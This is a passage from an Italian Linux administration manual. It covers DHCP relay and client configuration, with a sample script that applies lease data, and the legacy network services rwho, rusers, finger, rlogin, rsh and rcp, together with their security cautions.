-i *interfaccia*	Permette di indicare in modo esplicito un'interfaccia di rete da cui '**dhcrelay**' può aspettarsi delle richieste da parte di clienti DHCP. Per indicare più interfacce, occorre usare più volte questa opzione. Questa opzione è utile in particolare per escludere eventualmente un'interfaccia di una rete fisica su cui potrebbe esserci già il servente DHCP relativo, in grado di intervenire da solo.

42.5.6 Cliente DHCP

Il cliente DHCP ha il compito di interpellare un servente attraverso una chiamata circolare fatta nella rete fisica in cui si trova lo stesso cliente, ottenendo da questo l'indicazione dell'indirizzo IPv4 da utilizzare, assieme ad altre informazioni di contorno eventuali. Successivamente, ha il compito di ripresentarsi presso il servente periodicamente, per evitare che scada il tempo concesso per l'identificazione che gli è stata attribuita (*lease*).

Il problema maggiore, semmai, è fare in modo che il sistema presso cui è in funzione il cliente DHCP sia in grado di adeguarsi alle informazioni ottenute in questo modo. Non basta sapere quale indirizzo IPv4 si può utilizzare per una certa interfaccia di rete, occorre anche configurarla e definire l'instradamento. A questo proposito, il cliente DHCP è un punto delicato, per cui la scelta, ammesso che ce ne sia più di una, va fatta pensando all'integrazione con il proprio sistema operativo.

42.5.6.1 Cliente DHCP ISC

Nel pacchetto DHCP di Internet Systems Consortium è disponibile il programma cliente '**dhclient**' per l'interrogazione di tale servizio:

```
dhclient [opzioni] [interfaccia...]
```

Il programma '**dhclient**', una volta terminata la prima fase di scansione, avvia uno script con il quale configura l'interfaccia di rete e l'instradamento, quindi si mette a funzionare sullo sfondo, come demone.

Tabella 42.81. Alcune opzioni.

Opzione	Descrizione
`-p` ***n_porta***	Permette di specificare un numero di porta differente da quella standard (68).
`-r`	Richiede espressamente di abbandonare l'indirizzo IPv4 ottenuto (*current lease*); con questa opzione, il programma termina di funzionare (non rimane in funzione come demone).
`-1`	Esegue una sola serie di tentativi; se non riesce a contattare un servente DHCP termina di funzionare.
`-q`	Fa in modo di non mostrare informazioni nel momento dell'avvio, prima di passare al funzionamento sullo sfondo.
`-cf` ***file_di_configurazione***	Permette di definire un file di configurazione alternativo a quello predefinito.
`-lf` ***file_lease***	Permette di definire un file alternativo a quello predefinito per l'accumulo delle informazioni ottenute (*lease*).
`-sf` ***file_script***	Permette di definire uno script alternativo a quello predefinito, per la riconfigurazione in base ai dati ottenuti.

Una volta avviato, quando ottiene le informazioni che servono da un servente DHCP, le accumula nel file '`dhclient.leases`' che dovrebbe trovarsi nella directory '`/var/lib/dhcp*/`', o nel file specificato con l'opzione '**`-lf`**'. Il contenuto di questo file potrebbe essere simile all'esempio seguente:

```
lease {
  interface "eth0";
  fixed-address 192.168.1.250;
  option subnet-mask 255.255.255.0;
  option routers 192.168.1.254;
  option dhcp-lease-time 86400;
  option dhcp-option-overload 3;
  option dhcp-message-type 5;
  option domain-name-servers 192.168.1.254;
  option dhcp-server-identifier 192.168.1.254;
  option broadcast-address 255.255.255.255;
  renew 1 2004/7/5 20:39:26;
  rebind 2 2004/7/6 07:57:59;
  expire 2 2004/7/6 10:57:59;
}
```

Il programma dovrebbe essere in grado di configurare automaticamente l'interfaccia di rete, l'instradamento locale e quello predefinito. Eventualmente può avere dei problemi a intervenire nel file '/etc/resolv.conf', per indicare il servente DNS; in tal caso è necessario costruire un proprio script che estragga questa informazione dal file 'dhclient.leases'.

Il programma '**dhclient**' prevede anche l'uso di un file di configurazione, 'dhclient.conf', che normalmente si colloca nella directory '/etc/dhcp*/', oppure può essere ridefinito con l'opzione '**-cf**'. Le cose più importanti da inserire in questo file sono le richieste da fare al servente DHCP, come si vede nell'esempio seguente che potrebbe essere usato per la maggior parte delle situazioni di utilizzo di tale programma:

```
request subnet-mask,
        broadcast-address,
        time-offset,
        routers,
        domain-name,
        domain-name-servers,
        host-name,
        netbios-name-servers,
        netbios-scope,
        time-servers,
        ntp-servers,
        root-path,
        nis-domain,
        nis-servers,
        lpr-servers,
        log-servers;
```

Per conoscere le altre direttive che, eventualmente, possono essere utilizzate per la configurazione, si deve consultare la pagina di manuale *dhclient.conf(5)*; inoltre, per conoscere tutte le «opzioni» del protocollo, si deve leggere la pagina di manuale *dhcp-options(5)*.

42.5.6.2 Script per l'utilizzo delle informazioni ottenute da un cliente DHCP ISC

Le informazioni che si possono ottenere attraverso un servizio DHCP sono molte e non è semplice standardizzarne l'utilizzo nell'ambito della procedura di inizializzazione del sistema. Pertanto, si può essere costretti a realizzare un proprio script per estrapolare i dati contenuti nel file '/var/lib/dhcp*/dhclient.leases'. L'esempio seguente rappresenta la parte saliente di uno script del genere, da inserire in qualche modo nella procedura di avvio del sistema. L'esempio ha il solo scopo di mostrare come si può fare in pratica a gestire tali informazioni..

```
#!/bin/sh
#
# DHCP auto configuration.
#
function dhcp_auto_configuration () {
    #
    # DNS server.
    #
```

```
AUTO_DNS_SERVER=`/bin/grep -m 1 "option  *domain-name-servers" \
    /var/lib/dhcp3/dhclient.leases \
    | sed "s/^ *option  *domain-name-servers  *\"*\([^ ;,\"]*\)\"*[ ;,]*.*$/\\1/"`
#
# Time server.
#
AUTO_TIME_SERVER=`/bin/grep -m 1 "option  *time-servers" \
    /var/lib/dhcp3/dhclient.leases \
    | sed "s/^ *option  *time-servers  *\"*\([^ ;,\"]*\)\"*[ ;,]*.*$/\\1/"`
#
# NTP server.
#
AUTO_NTP_SERVER=`/bin/grep -m 1 "option  *ntp-servers" \
    /var/lib/dhcp3/dhclient.leases \
    | sed "s/^ *option  *ntp-servers  *\"*\([^ ;,\"]*\)\"*[ ;,]*.*$/\\1/"`
#
# NFS root path.
#
AUTO_ROOT_PATH=`/bin/grep -m 1 "option  *root-path" \
    /var/lib/dhcp3/dhclient.leases \
    | sed "s/^ *option  *root-path  *\"*\([^ ;,\"]*\)\"*.*$/\\1/"`
#
# NIS domain.
#
AUTO_NIS_DOMAIN=`/bin/grep -m 1 "option  *nis-domain" \
    /var/lib/dhcp3/dhclient.leases \
    | sed "s/^ *option  *nis-domain  *\"*\([^ ;,\"]*\)\"*[ ;,]*.*$/\\1/"`
#
# NIS server.
#
AUTO_NIS_SERVER=`/bin/grep -m 1 "option  *nis-servers" \
    /var/lib/dhcp3/dhclient.leases \
    | sed "s/^ *option  *nis-servers  *\"*\([^ ;,\"]*\)\"*[ ;,]*.*$/\\1/"`
#
# LPR server.
#
AUTO_LPR_SERVER=`/bin/grep -m 1 "option  *lpr-servers" \
    /var/lib/dhcp3/dhclient.leases \
    | sed "s/^ *option  *lpr-servers  *\"*\([^ ;,\"]*\)\"*[ ;,]*.*$/\\1/"`
#
# Log server.
#
AUTO_LOG_SERVER=`/bin/grep -m 1 "option  *log-servers" \
    /var/lib/dhcp3/dhclient.leases \
    | sed "s/^ *option  *log-servers  *\"*\([^ ;,\"]*\)\"*[ ;,]*.*$/\\1/"`
#
# Restart the portmapper.
#
if [ "$AUTO_ROOT_PATH" != "" ] || [ "$AUTO_NIS_SERVER" != "" ]
then
    #
    # Need to restart the portmapper.
    #
    /etc/init.d/portmap stop
    /etc/init.d/portmap start
fi
#
# Rebuild the file "/etc/resolv.conf"
```

```
    #
    if echo $AUTO_DNS_SERVER | grep "^[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*$"
    then
        #
        # Update.
        #
        cp -f /etc/resolv.conf /etc/resolv.conf.orig
        #
        rm -f                                 /etc/resolv.conf
        echo "nameserver $AUTO_DNS_SERVER" >  /etc/resolv.conf
        #
    fi
    #
    # Try to update the clock.
    #
    if [ "$AUTO_NTP_SERVER" != "" ]
    then
        #
        # We don't want to wait for the time server, so we
        # put all inside a (...) and send it in background.
        #
        (
            if ( [ -x /usr/sbin/ntpdate ] && ntpdate -u -b -s $AUTO_NTP_SERVER ) \
               || [ "$AUTO_TIME_SERVER" != "" ] \
                  && ( [ -x /usr/sbin/rdate ] && rdate -s $AUTO_TIME_SERVER )
            then
                hwclock -u -w
            fi
        )  2>&1 > /dev/null &
        #
    elif [ "$AUTO_TIME_SERVER" != "" ]
    then
        #
        # We don't want to wait for the time server, so we
        # put all inside a (...) and send it in background.
        #
        (
            if ( [ -x /usr/sbin/rdate ] && rdate -s $AUTO_TIME_SERVER )
            then
                hwclock -u -w
            fi
        )  2>&1 > /dev/null &
        #
    fi
    #
    # Mount "/home/" from a remote NFS server, and
    # modify the "/etc/fstab".
    #
    if [ "$AUTO_ROOT_PATH" != "" ]
    then
        #
        # Remove last "/" if any.
        #
        AUTO_ROOT_PATH=`echo $AUTO_ROOT_PATH | sed "s/^\(.*\)\/$/\\1/"`
        #
        # Update.
        #
        echo "${AUTO_ROOT_PATH}/home  /home  nfs  user,auto,dev,exec,suid,soft,tcp  0  0" \
```

```
            > /tmp/fstab                                2> /dev/null
        #
        grep -v "/home" /etc/fstab >> /tmp/fstab        2> /dev/null
        #
        cat /tmp/fstab > /etc/fstab                     2> /dev/null
        #
        # Mount: before the mount, unmount if there is something already,
        # like a local USB stick, mounted automatically.
        #
        umount /home 2> /dev/null
        #
        mount -t nfs -o dev,exec,suid,soft,tcp ${AUTO_ROOT_PATH}/home /home
        #
    fi
    #
    # Set the NIS domain name.
    #
    if [ "$AUTO_NIS_DOMAIN" != "" ]
    then
        #
        # Update.
        #
        echo "$AUTO_NIS_DOMAIN" >  /etc/defaultdomain
        domainname "$AUTO_NIS_DOMAIN"
        #
    fi
    #
    # Configure the NIS server.
    #
    if [ "$AUTO_NIS_SERVER" != "" ]
    then
        #
        # Update.
        #
        echo "ypserver $AUTO_NIS_SERVER" > /etc/yp.conf
        #
        # Restart.
        #
        /etc/init.d/nis stop
        /etc/init.d/nis start
        #
    fi
    #
    # Remote printer configuration.
    #
    if [ "$AUTO_LPR_SERVER" != "" ]
    then
        #
        # Update.
        #
        rm -f                                      /etc/printcap
        printf ""                                > /etc/printcap
        echo "lp:\\"                            >> /etc/printcap
        echo "        :sd=/var/spool/lpd/lp:\\" >> /etc/printcap
        echo "        :af=/var/log/lp-acct:\\"  >> /etc/printcap
        echo "        :lf=/var/log/lp-errs:\\"  >> /etc/printcap
        echo "        :pl#66:\\"                >> /etc/printcap
        echo "        :pw#80:\\"                >> /etc/printcap
```

```
        echo "        :pc#150:\\"              >> /etc/printcap
        echo "        :mx#0:\\"                >> /etc/printcap
        echo "        :mc#999:\\"              >> /etc/printcap
        echo "        :rp=lp:\\"               >> /etc/printcap
        echo "        :rm=$AUTO_LPR_SERVER:\\"  >> /etc/printcap
        echo "        :sh:"                    >> /etc/printcap
        echo ""                                >> /etc/printcap
        #
        # Must restart "/etc/init.d/lprng".
        #
        /etc/init.d/lprng restart
        #
    fi
    #
    # Configure the remote log server.
    #
    if [ "$AUTO_LOG_SERVER" != "" ]
    then
        #
        # Update.
        #
        grep -v "\*\.\*.*@.*" /etc/syslog.conf > /tmp/syslog.conf
        echo ""                               >> /tmp/syslog.conf
        echo "*.*    @$AUTO_LOG_SERVER"        >> /tmp/syslog.conf
        #
        rm -f /etc/syslog.conf
        cat /tmp/syslog.conf > /etc/syslog.conf
        #
        # Must reload syslog daemon.
        #
        /etc/init.d/sysklogd reload-or-restart
        #
    fi
    #
    # It is assumed that a remote scanner is available
    # where some other service is..
    #
    if [ -d /etc/sane.d ]
    then
        rm -f                               /etc/sane.d/net.conf
        printf ""                        >  /etc/sane.d/net.conf
        echo "# /etc/sane.d/net.conf"   >>  /etc/sane.d/net.conf
        echo "127.0.0.1"                >>  /etc/sane.d/net.conf
        echo "[::1]"                    >>  /etc/sane.d/net.conf
        #
        # Add some nodes as possible remote scanner server.
        #
        if [ "$AUTO_NIS_SERVER" != "" ]
        then
            echo "$AUTO_NIS_SERVER"     >>  /etc/sane.d/net.conf
        fi
        #
        if [ "$AUTO_LPR_SERVER" != "" ]
        then
            echo "$AUTO_LPR_SERVER"     >>  /etc/sane.d/net.conf
        fi
        #
        if [ "$AUTO_LOG_SERVER" != "" ]
```

```
        then
            echo "$AUTO_LOG_SERVER"     >>  /etc/sane.d/net.conf
        fi
        #
    fi
}
#
#
#
dhcp_auto_configuration
#
```

42.6 Informazioni sugli utenti della rete

I servizi di informazione sugli utenti della rete possono essere distinti in tre tipi, a seconda che si basino sul servizio di uno dei demoni seguenti:

- '**`rwhod`**'
- '**`rpc.rusersd`**'
- '**`fingerd`**'

L'attivazione dei servizi che forniscono informazioni sugli utenti sono fonte di problemi di sicurezza. In generale, sarebbero molto utili nelle reti locali chiuse; tuttavia, dal momento che le reti locali sono sempre più difficili da mantenere «chiuse», tali servizi diventano pericolosi in generale.

42.6.1 Who remoto

Si tratta di un sistema che raccoglie le informazioni sugli utenti connessi nella rete locale.[13] Le informazioni sono aggiornate frequentemente da un demone locale che, attraverso l'invio e la ricezione di messaggi broadcast, informa e ottiene informazioni dagli altri sistemi dove si trova in funzione lo stesso demone. Così, ogni elaboratore che ha in funzione questo demone ha una directory '`/var/spool/rwho/`' contenente una serie di file, uno per ogni elaboratore incontrato nella rete locale. Questi file rappresentano il risultato finale del sistema di raccolta di informazioni e ognuno di questi contiene l'indicazione degli utenti che utilizzano gli elaboratori della rete locale.

Il demone che si occupa di fornire e ricevere le informazioni sugli utenti connessi sui vari elaboratori della rete locale è '**`rwhod`**'. Dal momento che la comunicazione tra il demone locale e quelli degli altri elaboratori avviene attraverso messaggi broadcast, la rete deve essere in grado di gestire tali messaggi e il sistema di collezione delle informazioni risulta limitato all'ambito dell'indirizzo broadcast utilizzato. Il modello sintattico mostra che in generale non si usano argomenti per l'avvio di '**`rwhod`**':

```
rwhod
```

Il programma '**rwhod**' può essere avviato solo come demone autonomo, senza il controllo del supervisore dei servizi di rete; pertanto, per attivarlo in modo sistematico occorre predisporre uno script gestito dalla procedura di inizializzazione del sistema.

All'interno di ogni elaboratore che partecipa al servizio di condivisione delle informazioni sugli utenti, il programma '**rwho**' è quello che legge i file contenuti in '`/var/spool/rwho/`' per informare sugli utenti connessi agli elaboratori della rete locale:

```
rwho [-a]
```

Opzione	Descrizione
`-a`	Permette di non visualizzare le informazioni sugli utenti che da molto tempo risultano non avere alcuna interazione con il proprio sistema.

42.6.2 Informazioni attraverso RPC

È possibile richiedere informazioni attraverso le RPC. Per ottenerle, occorre che l'elaboratore dal quale si vogliono ricevere abbia in funzione il servizio RPC '**rusersd**', normalmente reso disponibile dal demone '**rpc.rusersd**'.[14] Naturalmente, trattandosi di un servizio RPC, occorre che anche il Portmapper sia stato attivato preventivamente (sezione 42.2).

Normalmente, il demone '**rpc.rusersd**' va avviato in maniera indipendente dal supervisore dei servizi di rete, attraverso la procedura di inizializzazione del sistema:

```
rpc.rusersd
```

Il programma '**rusers**', dal lato cliente, elenca gli utenti connessi agli elaboratori della rete locale, svolgendo in pratica il compito del programma '**users**', ma attraverso la rete. Per ottenere queste informazioni, utilizza una chiamata RPC e quindi instaura un collegamento con il demone '**rpc.rusersd**' presso gli elaboratori che rispondono:

```
rusers [-a] [-l] [nodo...]
```

Opzione	Significato mnemonico	Descrizione
`-a`	*all*	Mostra le informazioni di tutti i nodi che rispondono, anche se nessun utente vi accede in quel momento.
`-l`	*login*	Mostra informazioni dettagliate sugli accessi.

42.6.3 Finger: informazioni personali

Quando si parla di Finger[15] si fa riferimento alle informazioni personali contenute nel quinto campo del file '/etc/passwd', cioè al nominativo completo dell'utente. A volte, in questo campo si trovano informazioni addizionali, come l'ufficio, il numero telefonico dell'ufficio e il numero di casa. Sotto questo aspetto, tali informazioni sono molto delicate, pertanto questo tipo di servizio va attivato solo se strettamente necessario.[16]

Volendo, si possono rendere pubbliche queste informazioni, assieme ad altre che si raccolgono all'interno di file di configurazione contenuti nelle directory personali degli utenti, attraverso il demone '**in.fingerd**' (o solo '**fingerd**'), controllato dal supervisore dei servizi di rete.

```
in.fingerd [opzioni]
```

Nell'esempio seguente, viene mostrata la riga di '/etc/inetd.conf' in cui si dichiara il suo possibile utilizzo per quanto riguarda il caso particolare di Inetd:

```
...
finger  stream  tcp     nowait  root    /usr/sbin/tcpd  in.fingerd
...
```

Segue la descrizione di alcune opzioni della riga di comando del demone '**in.fingerd**'.

Opzione	Significato mnemonico	Descrizione
-w	*welcome*	Con questa opzione, gli utenti remoti del servizio ricevono un benvenuto addizionale, contenente informazioni particolareggiate sul sistema in funzione. Dal momento che queste indicazioni possono essere utili a un ipotetico aggressore, generalmente si evita di utilizzare tale opzione.
-u	*user*	L'opzione '**-u**' permette di non accogliere richieste remote generalizzate. In pratica, si impedisce l'uso di un comando del tipo '**finger @*nodo***', in cui non appare esplicitamente il nome di un utente particolare.
-l	*log*	Attiva l'annotazione delle richieste nel registro di sistema.

In generale, per motivi di sicurezza è meglio avviare il demone con l'opzione '**-u**', in modo da evitare le richieste generalizzate a tutti gli utenti del sistema.

Il programma '**finger**' consente di visualizzare le informazioni utili a identificare gli utenti indicati come argomento. Gli utenti possono essere specificati anche utilizzando il simbolo '**@**' seguito dal nome dell'elaboratore. Se non vengono indicati nomi di utente, viene visualizzato l'elenco degli utenti connessi. Se si specifica il nome di un elaboratore preceduto dal simbolo '**@**', viene visualizzato l'elenco degli utenti connessi a quell'elaboratore:

```
finger [opzioni] [utente...] [[utente]@nodo...]
```

Opzione	Significato mnemonico	Descrizione
`-s`	*status*	Visualizza il nominativo degli utenti, il nome reale, i terminali a cui sono connessi (con l'aggiunta di un asterisco nel caso sia impedita la scrittura, cosa che impedisce di inviare dei messaggi con il programma '**`write`**'), il tempo di inattività (questo non esclude che su quel terminale possa essere in uso un qualche programma interattivo), il momento in cui è avvenuto l'accesso e le informazioni addizionali sull'ufficio.
`-l`	*multi-line*	Fornisce tutte le informazioni che si potrebbero ottenere attraverso l'opzione '**`-s`**', assieme a tutte le altre disponibili: la directory personale, il telefono privato, la shell iniziale, la situazione della posta elettronica, assieme al contenuto dei file '`~/.plan`', '`~/.project`' e '`~/.forward`' (che si trovano nella directory personale di quell'utente). Questa è l'azione predefinita che corrisponde in pratica a fornire tutte le notizie disponibili sull'utente.

Segue la descrizione di alcuni esempi.

- `$` **`finger`** [*Invio*]

  Fornisce l'elenco degli utenti connessi al sistema locale.

- `$` **`finger @dinkel.brot.dg`** [*Invio*]

  Se l'elaboratore *`dinkel.brot.dg`* lo consente, fornisce l'elenco degli utenti connessi a quel sistema remoto. In caso contrario (quando il servente '**`in.fingerd`**' è stato avviato con l'opzione '**`-u`**') si dovrebbe ottenere un messaggio simile a quello seguente:

  ```
  Please supply a username
  ```

- `$` **`finger -l @dinkel.brot.dg`** [*Invio*]

  Se l'elaboratore *`dinkel.brot.dg`* lo consente, fornisce tutte le informazioni disponibili sugli utenti connessi a quel sistema remoto.

- `$` **`finger -l tizio@dinkel.brot.dg`** [*Invio*]

  Se l'elaboratore *`dinkel.brot.dg`* lo consente, fornisce tutte le informazioni disponibili sull'utente '**`tizio`**', indipendentemente dal fatto che questo sia connesso o meno.

42.6.3.1 File personali

Quando il programma '**`finger`**' può funzionare, assieme alle informazioni personali dell'utente che può ottenere dal file '`/etc/passwd`', può emettere anche il contenuto di alcuni file predisposti dall'utente stesso: '`~/.plan`', '`~/.project`' e '`~/.forward`'.

Il file '`~/.forward`' serve a indicare un indirizzo di posta elettronica a cui viene dirottata la posta in modo automatico. Non riguarda quindi direttamente '**`finger`**', ma è una di quelle informazioni che questo servizio fornisce opportunamente, anche se in modo indiscreto. Gli altri due file possono essere usati da ogni utente per indicare informazioni addizionali. Generalmente si utilizza solo il primo, '`~/.plan`', per lo scopo di pubblicizzare notizie attraverso il servizio Finger. Segue l'esempio di quello che si potrebbe ottenere interrogando le notizie disponibili di un certo utente:

```
Login: daniele                          Name: daniele giacomini
Directory: /home/daniele                Shell: /bin/bash
Office Phone: 123456
On since Thu Mar 26 07:49 (MET DST) on tty1  10 minutes 3 seconds idle
     (messages off)
On since Thu Mar 26 09:37 (MET DST) on ttyp5 from :0.0
Mail forwarded to appunti2@gmail.com
No mail.
Project:
a2
No Plan.
```

42.7 Accesso remoto

Un gruppo di programmi storici consente di eseguire delle operazioni su elaboratori remoti, attraverso un protocollo di comunicazione **superato**, ma del quale è necessario conoscerne l'esistenza, per evitare di consentire accessi indesiderabili attraverso una configurazione predefinita non adeguata. I nomi di questi programmi iniziano convenzionalmente con una lettera «r» in modo da distinguerli da programmi equivalenti che svolgono la loro funzione in ambito locale.

Naturalmente, perché si possano essere eseguite delle operazioni remote, queste devono essere concesse attraverso demoni in grado di attuare quanto richiesto.[17]

Al posto dei protocolli LOGIN e SHELL, a cui si riferiscono i programmi descritti in questa sezione, vanno preferiti invece TELNET o SSH (sezioni 42.8 e 49.7).

L'esecuzione di un'elaborazione remota richiede il riconoscimento dell'utente, in modo da potere stabilire l'ambito e i privilegi in cui si deve trovare presso l'elaboratore remoto. Il riconoscimento può avvenire attraverso una sorta di procedura di accesso, durante il funzionamento del programma dal lato cliente, oppure può essere basato sulla semplice fiducia, concedendo l'accesso attraverso la preparazione di alcuni file di configurazione. Indubbiamente, la fiducia è un metodo molto poco sicuro di amministrare il proprio sistema, ma quando le reti locali erano ristrette a un ambito in cui tutto era comunque sotto controllo, la richiesta di una parola d'ordine poteva essere effettivamente un fastidio inutile.

Il riconoscimento può avvenire nel modo tradizionale, attraverso i file '/etc/hosts.equiv' e '~/.rhosts', oppure attraverso un'autenticazione Kerberos. Questo ultimo metodo non viene descritto.

Se si vuole concedere un accesso senza controlli particolari, si può predisporre il file '/etc/hosts.equiv' con un semplice elenco di nomi di nodi (o di indirizzi IP) a cui si concede l'accesso, in modo generalizzato, senza la richiesta di una parola d'ordine. Parallelamente, o alternativamente, ogni utente può predisporre il proprio elenco di nodi e di utenti da considerare equivalenti alla propria «identità» locale, preparando il file '~/.rhosts'.

L'esempio seguente mostra il contenuto del file '/etc/hosts.equiv' di un nodo per il quale si vuole consentire l'accesso da parte di *dinkel.brot.dg* e di *roggen.brot.dg*.

```
dinkel.brot.dg
roggen.brot.dg
```

In questo modo, gli utenti dei nodi *dinkel.brot.dg* e *roggen.brot.dg* possono accedere al sistema locale senza la richiesta formale di alcuna identificazione, purché esista per loro un'utenza con lo stesso nome.

L'elenco di nodi equivalenti può contenere anche l'indicazione di utenti particolari, per la precisione, ogni riga può contenere il nome di un nodo seguito eventualmente da **uno spazio** e dal nome di un utente. Si osservi l'esempio seguente:

```
dinkel.brot.dg
roggen.brot.dg
dinkel.brot.dg tizio
dinkel.brot.dg caio
```

Come nell'esempio precedente, viene concesso agli utenti dei nodi *dinkel.brot.dg* e *roggen.brot.dg* di accedere localmente se esistono utenze con lo stesso nome. In aggiunta a questo, però, viene concesso agli utenti '**tizio**' e '**caio**' del nodo *dinkel.brot.dg*, di accedere con **qualunque** nominativo-utente (locale), senza la richiesta di alcuna parola d'ordine.

Si può intuire che fare una cosa del genere significa concedere a tali utenti privilegi pericolosamente elevati. In generale, tali utenti non dovrebbero essere in grado di utilizzare numeri UID molto bassi, ma questo dipende da come sono stati compilati i sorgenti; comunque difficilmente ci può essere un buon motivo per configurare così il file '/etc/hosts.equiv'.

Il nome o l'indirizzo di un nodo può essere preceduto da un segno, '**+**' o '**-**', con il quale si intende, rispettivamente, includere o escludere il nodo stesso. Come si può intendere, il segno '**+**' è predefinito.

Secondo la sintassi tradizionale di questo file, si può inserire una riga contenente soltanto il segno '**+**', allo scopo di **consentire l'accesso a qualunque nodo**. In questo senso si spiega poi la presenza del segno '**-**' per escludere qualche nodo particolare.

Come già accennato, indipendentemente dal fatto che il file '/etc/hosts.equiv' sia presente o meno, ogni utente può predisporre il proprio file '~/.rhosts'. La sintassi di questo file

è la stessa di '/etc/hosts.equiv', ma si riferisce esclusivamente all'utente che predispone tale file nella propria directory personale. In questo file, l'indicazione di utenti precisi è utile e opportuna, perché quell'utente fisico, potrebbe essere riconosciuto con nomi differenti presso i nodi da cui vuole accedere.

```
dinkel.brot.dg tizi
roggen.brot.dg tizio
```

L'esempio mostra l'indicazione precisa di ogni nominativo-utente dei nodi che possono accedere senza richiesta di identificazione.[18]

I dettagli sull'uso di questi file possono essere differenti da un sistema all'altro. In particolare ci possono essere delle restrizioni ai permessi che può avere questo file; infatti, secondo il buon senso, '/etc/hosts.equiv' dovrebbe appartenere all'utente '**root**', senza consentire accessi in scrittura ad altri utenti; nello stesso modo, il file '~/.rhosts' dovrebbe appartenere all'utente al quale si riferisce, senza che altri possano avere permessi di scrittura su questo. Inoltre, dovrebbe essere impedito all'utente '**root**', così come agli utenti speciali (cioè quelli corrispondenti a numeri UID particolarmente bassi), di accedere senza identificazione. Quindi, di solito, la sola configurazione del file '/etc/hosts.equiv' non basta a permettere l'accesso all'utente '**root**' senza che questo fornisca la parola d'ordine, anche se normalmente è sufficiente predisporre il file '~root/.rhosts'.[19] Si veda in ogni caso quanto descritto nelle pagine di manuale *hosts.equiv(5)* e *rhosts(5)*, se presenti nel proprio sistema.

42.7.1 Accesso remoto normale

L'accesso remoto tradizionale utilizza il protocollo LOGIN, si attua dal lato del servente con il demone '**in.rlogind**' (o solo '**rlogind**') e dal lato del cliente il programma '**rlogin**'. Il protocollo LOGIN è superato da TELNET (sezione 42.8). La sintassi per avviare demone dal lato del servente è molto semplice:

in.rlogind [*opzioni*]

Il demone '**in.rlogin**' va gestito dal supervisore dei servizi di rete e filtrato dal TCP wrapper. Nell'esempio seguente, viene mostrata la riga di '/etc/inetd.conf' in cui si dichiara il suo possibile utilizzo per quanto riguarda il caso particolare di Inetd:

```
login   stream  tcp     nowait  root    /usr/sbin/tcpd  in.rlogind
```

Opzione	Descrizione
-h	Permette anche all'utente '**root**' di utilizzare il file '~/.rhosts'.

Dal lato del cliente il programma '**rlogin**' consente di accedere all'elaboratore remoto, come se ci si trovasse sulla console di quello:

rlogin [*opzioni*] ***nodo_remoto***

Opzione	Significato mnemonico	Descrizione
`-l` *utente*	*login*	Con questa opzione è possibile specificare già nella riga di comando il nome dell'utente da utilizzare per l'accesso nel sistema remoto. Quando ci si identifica in questo modo, viene richiesta la parola d'ordine in ogni caso.
`-8`		Abilita la connessione utilizzando una comunicazione a 8 bit in modo da poter utilizzare caratteri speciali che vanno oltre l'ASCII tradizionale.

42.7.2 Shell remota

Una shell remota è uno strumento per eseguire un comando in un elaboratore remoto dirigendo il flusso normale di dati attraverso il programma utilizzato localmente. Il protocollo usato originariamente per questo scopo è SHELL, superato da SSH (sezione 49.7). Per la gestione di una shell remota tramite il protocollo SHELL si utilizza il demone '**`in.rshd`**' (o '**`rshd`**') dal lato servente e '**`rsh`**' dal lato cliente.

Quando si utilizza una shell remota come Rsh, è importante fare mente locale alla sequenza delle operazioni che avvengono. Infatti, il comando viene interpretato inizialmente dalla shell locale che poi passa gli argomenti a '**`rsh`**', il quale poi esegue un comando presso l'elaboratore remoto. Il problema sta quindi nel comprendere quale sia effettivamente il comando che viene poi eseguito nell'elaboratore remoto, tenendo conto anche della shell che viene utilizzata lì, per determinare il flusso di output che si ottiene (standard output e standard error), flusso che poi può essere visualizzato, ridiretto o rielaborato localmente.

Segue la sintassi per l'avvio del demone che offre questo servizio:

`in.rshd` [*opzioni*]

Il demone '**`in.rshd`**' va gestito dal supervisore dei servizi di rete e filtrato dal TCP wrapper ('**`tcpd`**'). Nell'esempio seguente, viene mostrata la riga di '`/etc/inetd.conf`' in cui si dichiara il suo possibile utilizzo per quanto riguarda il caso particolare di Inetd:

```
shell   stream  tcp     nowait  root    /usr/sbin/tcpd  in.rshd
```

Opzione	Descrizione
`-h`	Permette anche all'utente '**`root`**' di utilizzare il file '`~/.rhosts`'.

Dal lato del cliente il programma '**`rsh`**' permette di eseguire il comando richiesto nell'elaboratore remoto specificato se su quell'elaboratore è abilitata questa possibilità:

`rsh` [*opzioni*] *nodo_remoto* [*comando*]

Lo standard input ricevuto da '**`rsh`**' viene inviato allo standard input del comando remoto; lo standard output e lo standard error emessi dal comando remoto vengono ridiretti in modo che

diventino rispettivamente lo standard output e lo standard error di '**rsh**'.

Questo meccanismo di ridirezione è l'elemento che rende utile questo programma e d'altra parte è anche il suo limite: non possono essere utilizzati programmi che richiedono l'interazione con l'utente, attraverso '**rsh**'.

Se '**rsh**' viene utilizzata senza l'indicazione del comando remoto, si ottiene in pratica un accesso puro e semplice, attraverso '**rlogin**'.

Opzione	Significato mnemonico	Descrizione
`-l` ***utente***	*login*	Con questa opzione è possibile specificare già nella riga di comando il nome dell'utente da utilizzare per l'accesso nel sistema remoto. Quando ci si identifica in questo modo, viene richiesta la parola d'ordine in ogni caso.

Segue la descrizione di alcuni esempi per l'utilizzo di '**rsh**'.

- `$` **`rsh roggen.brot.dg cat /etc/fstab > copia-locale`** [*Invio*]

  Esegue il '**cat**' del file '`/etc/fstab`' dell'elaboratore *`roggen.brot.dg`* e ne dirige l'output verso il file locale '`copia-locale`'.

- `$` **`rsh roggen.brot.dg cat /etc/fstab ">" copia-remota`** [*Invio*]

  Questo esempio sembra molto simile al precedente, ma utilizzando il simbolo di ridirezione tra virgolette, la shell locale non lo interpreta in questo modo, ma lo lascia tra gli argomenti di '**rsh**'. Così facendo, il simbolo di ridirezione viene gestito dal comando remoto generando il file '`copia-remota`' proprio nell'elaboratore remoto.

- `$` **`rsh roggen.brot.dg tar czf - /home/pluto > ~/pluto.tgz`** [*Invio*]

  Esegue l'archiviazione della directory '`/home/pluto/`' dell'elaboratore *`roggen.brot.dg`* generando l'archivio compresso '`~/pluto.tgz`' nell'elaboratore locale.

42.7.3 Copia tra elaboratori

Un modo per copiare dati tra un elaboratore e un altro può essere quello di sfruttare un file system di rete. Un altro modo potrebbe essere quello di utilizzare '**rsh**' per copiare dati da un elaboratore remoto verso quello locale (viceversa è un po' difficile) sfruttando il protocollo SHELL. In tal caso, il modo più pratico è rappresentato dall'utilizzo di '**rcp**' attraverso il quale si possono copiare file tra due elaboratori remoti o tra un elaboratore remoto e quello locale.

